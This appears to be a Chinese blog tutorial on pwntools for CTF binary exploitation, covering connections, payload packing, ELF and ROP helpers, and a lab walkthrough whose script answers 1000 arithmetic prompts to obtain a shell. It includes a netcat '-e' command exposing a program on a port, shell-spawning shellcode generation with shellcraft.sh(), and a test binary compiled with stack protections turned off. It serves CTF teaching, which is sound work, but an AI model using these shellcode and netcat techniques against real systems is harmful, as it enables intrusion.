pwntools基础知识

N0va7
2025-09-22 / 0 评论 / 2 阅读 / 正在检测是否收录...
温馨提示:
本文最后更新于2025年09月22日,已超过254天没有更新,若内容或图片失效,请留言反馈。

pwntools是什么

Python 编写的一个用于二进制利用的工具包
重点对象:PWN/CTF/渗透测试
提供便捷的 API,自动化部署,连接,构造 payload,ROP 分析,libc 查询等

安装命令:

pip install pwntools
# pip install -i https://pypi.tuna.tsinghua.edu.cn/simple pwntools

主要功能

测试程序

#include <stdio.h>
int main(){
      char name[0x20]; printf("Enter Your Name:"); 
      fflush(stdout); 
      scanf("%s",name);
      printf("Hello %s!\n", name);
      puts("this is puts!"); 
      return 0; 
}

编译命令:

gcc -fno-stack-protector -no-pie -z execstack -m32 test.c -o test

本地连接

from pwn import *
r = process("./test") # 本地运行
r.interactive() # 交互式

与本地运行效果基本一致

远程连接

前提条件

该主机应该先将程序映射到对应的端口上

nc.traditional -lvp 1234 -e ./test
nc -lvp 1234 -e ./test

远程连接端口

from pwn import *
# r = process("./test") # 本地运行
r = remote("192.168.48.139", 1234) # 远程 nc-like 连接 
r.interactive() # 交互式

发送和接收数据

  • recvuntil:接受数据
  • sendline:发送数据
  • interactive:交互式shell
注意这边的发送数据要采用byte流发送,否则会失败
from pwn import *
# r = process("./test") # 本地运行
r = remote("192.168.48.139", 1234) # 远程 nc-like 连接 
prompt = r.recvuntil(":",drop=True)
print("prompt==>:",prompt)
r.sendline(b"admin")
data = r.recv(1024).decode()
print("recv data:",data)
r.interactive() # 交互式

构造payload

p1 = b'A'*10+p32(0x080491d6)
p2 = b'B'*10+p64(0x401238)
print(p1,p2)

总结系统功能

ELF

from pwn import *
# r = process("./test") # 本地运行
r = remote("192.168.48.139", 1234) # 远程 nc-like 连接 
#prompt = r.recvuntil(":",drop=True)
#print("prompt==>:",prompt)
#r.sendline(b"admin")
#data = r.recv(1024).decode()
#print("recv data:",data)
#r.interactive() # 交互式
elf = ELF("./test")
print(elf.symbols['main']) 
print(elf.got['puts'])

跟我们执行checksec差不多

ROP 链分析

from pwn import *
# r = process("./test") # 本地运行
r = remote("192.168.48.139", 1234) # 远程 nc-like 连接 
#prompt = r.recvuntil(":",drop=True)
#print("prompt==>:",prompt)
#r.sendline(b"admin")
#data = r.recv(1024).decode()
#print("recv data:",data)
#r.interactive() # 交互式
elf = ELF("./test")
print(elf.symbols['main']) 
print(elf.got['puts'])
rop = ROP(elf) 
print(rop.call("puts", [elf.got['puts']]))

动态 shellcode 生成

可以生成对应需求的shellcode

shellcode = asm(shellcraft.sh())

可以看到会生成一个获取sh的shellcode

pwntools实操

Lab 0

源码:

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <time.h>
#include <unistd.h>

void handler(int signum){
  puts("Timeout");
  _exit(1);
}

int main()
{
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  signal(SIGALRM, handler);
  alarm(90);

  unsigned seed = (unsigned)time(NULL);
  srand(seed);

  unsigned int magic;
  printf("Give me the magic number :)\n");
  read(0, &magic, 4);
  if (magic != 3735928559) {
    printf("Bye~\n");
    exit(0);
  }

  printf("Complete 1000 math questions in 90 seconds!!!\n");
  for (int i = 0; i < 1000; ++i) {
    int a = random() % 65535;
    int b = random() % 65535;
    int c = random() % 3;
    int ans;
    switch(c) {
      case 0:
        printf("%d + %d = ?", a, b);
        scanf("%d", &ans);
        if (ans != a + b) {
          printf("Bye Bye~\n");
          exit(0);
        }
        break;
      case 1:
        printf("%d - %d = ?", a, b);
        scanf("%d", &ans);
        if (ans != a - b) {
          printf("Bye Bye~\n");
          exit(0);
        }
        break;
      case 2:
        printf("%d * %d = ?", a, b);
        scanf("%d", &ans);
        if (ans != a * b) {
          printf("Bye Bye~\n");
          exit(0);
        }
        break;
    }
  }
  printf("Good job!\n");
  system("sh");

  return 0;
}

MakeFile

pwntools: pwntools.c
    gcc pwntools.c -o pwntools

源码分析

我们既然有源码,那么就先看一下源码

  printf("Give me the magic number :)\n");
  read(0, &magic, 4);
  if (magic != 3735928559) {
    printf("Bye~\n");
    exit(0);
  }

这是第一个判断,我们要先通过magic的校验,不然就会直接弹出Bye,就像这样:

而我们输入的内容会被read函数读取,他只读取四个字节,也就是说我们如果直接传入3735928559也是不行的

应该传入十六进制的形式才行

但是这个又涉及到大端小端的排序问题,所以我们就采用pwntools来帮助我们实现

from pwn import *

r = process("./pwntools")
res = r.recvuntil(b":)")
print(f"recv data 1: {res}")

r.sendline(p32(3735928559))
print(f"send magic number: {p32(3735928559)}")
r.interactive()

此处使用p32就可以帮我们自动实现转换

既然第一个if判断已经绕过了,那么让我们看看第二个限制

  printf("Complete 1000 math questions in 90 seconds!!!\n");
  for (int i = 0; i < 1000; ++i) {
    int a = random() % 65535;
    int b = random() % 65535;
    int c = random() % 3;
    int ans;
    switch(c) {
      case 0:
        printf("%d + %d = ?", a, b);
        scanf("%d", &ans);
        if (ans != a + b) {
          printf("Bye Bye~\n");
          exit(0);
        }
        break;
      case 1:
        printf("%d - %d = ?", a, b);
        scanf("%d", &ans);
        if (ans != a - b) {
          printf("Bye Bye~\n");
          exit(0);
        }
        break;
      case 2:
        printf("%d * %d = ?", a, b);
        scanf("%d", &ans);
        if (ans != a * b) {
          printf("Bye Bye~\n");
          exit(0);
        }
        break;
    }
  }
  printf("Good job!\n");
  system("sh");

可以看到只有在90秒内计算出一千道题目的答案才能成功拿到shell,我们手算显然是不可能的,直接上脚本吧

from pwn import *

def calc(string):
    left = string.split("=")[0].strip()
    num1, opt, num2 = left.split()
    ret = eval(num1 + opt + num2)
    print(f"{num1} {opt} {num2} = {ret}")
    return ret


r = process("./pwntools")
res = r.recvuntil(b":)").decode()
# receive the hint message
print(f"recv data hint1: {res}")
# send the magic number
r.sendline(p32(3735928559))
print(f"send magic number: {p32(3735928559)}")

# receive the hint message
res = r.recvuntil(b"!!!").decode()
r.recvline()
print(f"recv data hint2: {res}")
# loop 
for i in range(1000):
    res = r.recvuntil(b"?").decode()
    ret = calc(res)
    r.sendline(bytes(str(ret).encode()))
r.interactive()

成功拿下,此处其实就是在于提取计算表达式的问题,其他的问题倒是没有

不过我们最好不要使用eval函数进行一个计算处理,如果人家在1000道题目中参杂了一个反弹shell的语句,自己的服务器就被别人拿到权限了,所以对于calc函数还可以进行进一步的优化

from pwn import *
import ast
import operator

# 定义支持的操作符
ops = {
    '+': operator.add,
    '-': operator.sub,
    '*': operator.mul,
    '/': operator.floordiv,  # 或使用 truediv
}

def calc(string):
    left = string.split('=')[0].strip()
    num1_str, opt, num2_str = left.split()
    
    num1 = ast.literal_eval(num1_str)
    num2 = ast.literal_eval(num2_str)
    
    if opt not in ops:
        raise ValueError(f"Unsupported operator: {opt}")
    
    if opt == '/' and num2 == 0:
        raise ValueError("Division by zero")
    
    ret = ops[opt](num1, num2)
    print(f"{num1} {opt} {num2} = {ret}")
    return ret

r = process("./pwntools")
res = r.recvuntil(b":)").decode()
# receive the hint message
print(f"recv data hint1: {res}")
# send the magic number
r.sendline(p32(3735928559))
print(f"send magic number: {p32(3735928559)}")

# receive the hint message
res = r.recvuntil(b"!!!").decode()
r.recvline()
print(f"recv data hint2: {res}")
# loop 
for i in range(1000):
    res = r.recvuntil(b"?").decode()
    ret = calc(res)
    r.sendline(bytes(str(ret).encode()))
r.interactive()
0

评论 (0)

取消